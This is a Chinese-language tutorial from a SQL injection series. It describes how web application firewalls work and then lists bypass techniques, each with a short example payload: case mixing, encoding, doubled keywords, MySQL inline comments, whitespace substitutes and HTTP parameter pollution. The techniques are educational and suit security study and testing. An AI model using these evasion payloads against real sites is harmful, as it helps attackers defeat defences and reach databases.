SQL注入(四)
1. WAF
Web 应用程序防火墙(Web Application Firewall,WAF)是一种网络安全解决方案,旨在保护 Web 应用程序免受各种网络攻击和恶意行为的影响。WAF 通过检测和过滤 HTTP/HTTPS 请求来阻止恶意流量,从而保护 Web 应用程序的安全性。
WAF 的主要功能和原理包括:
- 过滤和检测攻击流量:WAF 可以检测和过滤 Web 请求中的恶意流量,包括 SQL 注入、跨站脚本(XSS)、跨站请求伪造(CSRF)、路径遍历等常见攻击方式。
- 基于规则的检测:WAF 使用预定义的规则集来检测和拦截恶意请求。这些规则可以是基于签名、正则表达式、行为分析等技术来实现。
- 学习模式:一些 WAF 可以学习正常的应用程序行为,并根据学习到的模式来检测异常行为。这样可以减少误报率,并提高检测准确性。
- 保护敏感数据:WAF 可以帮助保护 Web 应用程序中的敏感数据,如用户凭证、个人信息等,防止泄露和盗用。
- 防止应用程序漏洞利用:WAF 可以帮助防止利用应用程序漏洞进行攻击,例如利用漏洞进行远程代码执行、文件包含等攻击。
- 日志和监控:WAF 可以记录并监控 Web 请求和攻击事件,帮助管理员分析安全事件,及时发现和应对潜在的安全威胁。
WAF拦截原理:WAF从规则库中匹配敏感字符进行拦截。
2. WAF绕过
WAF绕过的思路就是让WAF的检测规则,识别不到你所输入的敏感字符,利用上述所介绍的知识点,灵活结合各种方法,从而可以增加绕过WAF的可能性
2.1 关键词大小写绕过
有的WAF因为规则设计的问题,只匹配纯大写或纯小写的字符,对字符大小写混写直接无视,这时,我们可以利用这一点来进行绕过
举例: union select ---> unIOn SeLEcT
2.2 编码绕过
针对WAF过滤的字符编码,如使用URL编码,Unicode编码,十六进制编码,Hex编码等.
举例:union select 1,2,3# =union%0aselect 1\u002c2,3%23
2.3 双写绕过
部分WAF只对字符串识别一次,删除敏感字段并拼接剩余语句,这时,我们可以通过双写来进行绕过。
举例:UNIunionON ,SELselectECT anandd
2.4 换行绕过
举例:select * from admin where username = \N union select 1,user() from admin
2.5 注释符内联注释绕过
union selecte =/*!union*/ select
注释符里感叹号后面的内容会被mysql执行。
联合绕过:union /*!--+/*%0aselect/*!1,2,3*/ --+
order by绕过:orde%20/*//--/*/by
2.6 同义词替换
and=&&
or=||
=(等于号)=<、>
空格不能使用=%09,%0a,%0b,%0c,%0d,%20,%a0等
注:%0a是换行也可以替代空格
2.7 HTTP参污染
对目标发送多个参数,如果目标没有多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个。
举例:?id=1&id=2&id=3
对目标发送多个参数,如果目标没有多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个。
举例:?id=1&id=2&id=3
?id=1/**&id=-1%20union%20select%201,2,3%23*/